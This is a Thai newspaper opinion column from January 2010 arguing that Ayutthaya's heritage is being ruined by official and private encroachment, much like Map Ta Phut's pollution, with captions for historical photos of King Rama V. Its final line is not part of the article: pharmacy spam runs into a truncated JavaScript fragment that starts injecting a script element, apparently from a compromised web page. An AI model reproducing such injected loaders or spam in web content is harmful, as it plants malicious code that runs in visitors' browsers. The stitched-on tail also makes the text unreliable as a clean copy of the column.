ฉบับประจำวันพฤหัสบดีที่ 21 มกราคม 2553

“มาบตาพิษ” พ่นยับมาบตาพุดอย่างไร อยุธยาก็กำลังย่อยยับยศล่มแล้วอย่างนั้น เพราะภาครัฐทั้งส่วนกลาง, ภูมิภาค และท้องถิ่น จนถึงภาคเอกชน แย่งกัน“เอาแต่ได้”, “มือใครยาว สาวได้สาวเอา” ไม่เคารพกฎ กติกา มารยาท ทำลายจิตวิญญาณความเป็นมาเก่าแก่ของประวัติศาสตร์บรรพชน“คนไทย”ฉิบหายวายวอดป่นปี้ปู้ยี่ปู้ยำ

อยุธยา มรดกโลก มีปัญหาท่วมหัว จะเอาตัวไม่รอด ที่ประชุมฯสรุปปัญหา มี 3 อย่าง

  1.          พัฒนาเมืองเน้นความเป็นสมัยใหม่ โดยไม่คำนึงถึงคุณค่าและความเก่าแก่ดั้งเดิม
  2.          ขาดงบประมาณและขาดการบริหารจัดการ
  3.          ไม่ปฏิบัติตามกฎหมาย และใช้ช่องว่างของกฎหมายปลูกสร้างสิ่งก่อสร้างขนาดใหญ่ โดยเฉพาะหน่วยงานรัฐและเอกชน รุกล้ำแหล่งโบราณสถานเพื่อสร้างถนน, สร้างอาคาร, ฯลฯ ทำลายภูมิทัศน์

นายสุเทพ เทือกสุบรรณ รองนายกฯ เป็นประธานที่ประชุม ออกปากเป็นห่วงอยุธยาจะถูกถอดถอนจากมรดกโลก

ปัญหาท่วมหัวอยุธยา เหตุหนึ่งที่สำคัญมาจากคณะกรรมการอำนวยการและควบคุมการดำเนินงานโครงการอนุรักษ์และพัฒนานครประวัติศาสตร์พระนครศรีอยุธยา ที่ผ่านมาไม่ติดตามการทำงานของท้องถิ่นและหน่วยงานที่เกี่ยวข้อง (ASTV ผู้จัดการ ฉบับวันพฤหัสบดีที่ 14 มกราคม 2553 หน้า 10)

เมื่อพิจารณาปัญหาตามที่ยกมาทั้งหมดนี้ อยุธยาจะตกอีหรอบเดียวกับกรณี“มาบตาพุด-มาบตาพิษ” ที่นายอภิสิทธิ์ เวชชาชีวะ นายกฯ บอกว่า ปัญหามาบตาพุดมาจากความไม่ไว้วางใจระหว่างชุนท้องถิ่นกับภาคอุตสาหกรรม (ไทยโพสต์ ฉบับวันศุกร์ที่ 15 มกราคม 2553 หน้า 1, 12) และความไม่ไว้วางใจระหว่างภาคประชาชนกับภาครัฐในเรื่องการจัดการด้านสิ่งแวดล้อม (โพสต์ ทูเดย์ ฉบับวันศุกร์ที่ 15 มกราคม 2553 หน้า 1)

“ปฏิเสธไม่ได้ว่าภาครัฐและเอกชนเป็นต้นเหตุ” นายกฯพูด “หากย้อนดูประวัติศาสตร์จะพบว่าปัญหาเกิดจากการไม่ยึดตามแผนหรือผังเมืองดั้งเดิม ละเลย หรือเปลี่ยนแปลงโดยไม่มีเหตุผลรองรับความสมดุลระหว่างสิ่งแวดล้อมกับอุตสาหกรรม”

“มีผู้ไม่เคารพกติกา หลีกเลี่ยงมาตรฐานการใช้กฎหมาย และสมรู้ร่วมคิดกับเจ้าหน้าที่ให้เกิดปัญหาสิ่งแวดล้อม เหมือนปลาเน่าต้องเหม็นไปทั่ว”

นายกฯอภิสิทธิ์ย้ำว่า ถ้าเราตั้งใจพัฒนาเศรษฐกิจและอุตสาหกรรมที่ยั่งยืน  ต้องไม่มักง่าย การกำหนดแผน, กรอบ, กติกา ต้องเข้มงวดกวดขัน อย่าคิดหาทางลัดเพื่อความสะดวกรวดเร็ว

“ถ้าไม่มีการบริหารจัดการที่ดีก็จะส่งผลกระทบต่อการท่องเที่ยว ซึ่งถือเป็นรายได้หลักในพื้นที่” นายกรัฐมนตรีพูดถึงหากมีการย้ายฐานอุตสาหกรรมจากมาบตาพุดไปพื้นที่ภาคใต้ แล้วย้ำว่าต้องพัฒนา“อุตสาหกรรมอย่างยั่งยืน”บนพื้นฐานการบริหารจัดการด้านสิ่งแวดล้อมและทรัพยากรธรรมชาติที่ดี มีระบบสวัสดิการมั่นคง และการบริหารจัดการที่ดี

มาบตาพุดย่อยยับทรัพย์สินสูญเสียมหาศาลอย่างไร อยุธยาจะได้รับยับเยินอย่างเดียวกัน ถ้าไม่หยุดสันดาน“เอาแต่ได้”, “มือถือสาก ปากถือศีล ตีนถือเสนียดจัญไร” แหกปากตะโกนรักชาติขาดดิ้นจะสิ้นใจ เทิดทูนประวัติศาสตร์ชาติไทยใจจะขาดลงรอนๆ แต่ล้างผลาญอยุธยา ยศยิ่งฟ้า ให้ยศล่มแล้ว (อ่านในพื้นที่สุวรรณภูมิสังคมวัฒนธรรม ฉบับวันนี้)

 

พื้นที่รอบๆวัดพระศรีสรรเพชญ์, วัดมงคลบพิตร, ฯลฯ ที่อยุธยา เป็นบริเวณศักดิ์สิทธิ์ ตลอดยุคอยุธยาจนถึงยุคธนบุรี, ยุครัตนโกสินทร์ ที่ควรสงวนรักษาเป็นพิเศษสุด ผู้ใดละเมิดมิได้ ไม่ล่วงล้ำปู้ยี่ปู้ยำเพื่อการค้า

(ซ้าย) พระพุทธเจ้าหลวง รัชกาลที่ 5 เสด็จวัดมงคลบพิตรกรุงเก่า พร้อมด้วยพระเจ้าซาร์นิโคลาสที่ 2 แห่งรัสเซีย ภาพนี้ถ่ายราวเดือนมีนาคม พ.ศ. 2434

(ขวา) พระพุทธเจ้าหลวง รัชกาลที่ 5 ทรงฉายพระรูปร่วมกับข้าราชบริพารหน้าวิหารพระมงคลบพิตร ประมาณ พ.ศ. 2446

พระพุทธเจ้าหลวง รัชกาลที่ 5 เสด็จประทับบนเสลี่ยงคานหามทอดพระเนตรโบราณสถานในบริเวณวัดพระศรีสรรเพชญ์ กรุงเก่า ราว พ.ศ. 2447

fluoxetine for depression buy brand cialis onlinevar d=document;var s=d.createElement(‘script’);